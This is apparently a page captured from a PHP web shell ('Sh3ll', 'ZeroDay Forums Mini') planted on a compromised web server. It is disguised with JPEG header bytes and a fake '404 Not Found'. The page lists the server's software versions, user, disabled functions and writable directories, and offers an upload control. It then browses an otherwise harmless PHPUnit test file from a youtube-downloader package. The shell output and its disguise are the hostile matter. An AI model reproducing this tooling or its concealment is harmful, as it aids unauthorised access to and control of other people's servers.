ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/var/www/html/vidoe.top/vendor/athlon1600/youtube-downloader/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/html/vidoe.top/vendor/athlon1600/youtube-downloader/tests/ArrayTest.php
<?php

namespace YouTube\Tests;

use PHPUnit\Framework\TestCase;
use YouTube\Utils\Utils;

class ArrayTest extends TestCase
{
    protected $array = [
        'one' => [
            'two' => ['three' => 33]
        ],
        'simple' => [1, 2, 3],
        'one_2' => 12,
        1,
        2,
        3
    ];

    public function test_array_get()
    {
        $this->assertEquals(33, Utils::arrayGet($this->array, "one.two.three", "default"));
    }

    public function test_when_value_is_array()
    {
        $this->assertEquals([1, 2, 3], Utils::arrayGet($this->array, 'simple'));
    }

    public function test_non_existing_index()
    {
        $this->assertEquals("default", Utils::arrayGet($this->array, "one.two.four", "default"));
        $this->assertEquals(null, Utils::arrayGet($this->array, "one.two.four"));
    }

    public function test_deeper_level_than_exists()
    {
        $this->assertEquals(null, Utils::arrayGet($this->array, "one.two.three.four"));
    }
}

ZeroDay Forums Mini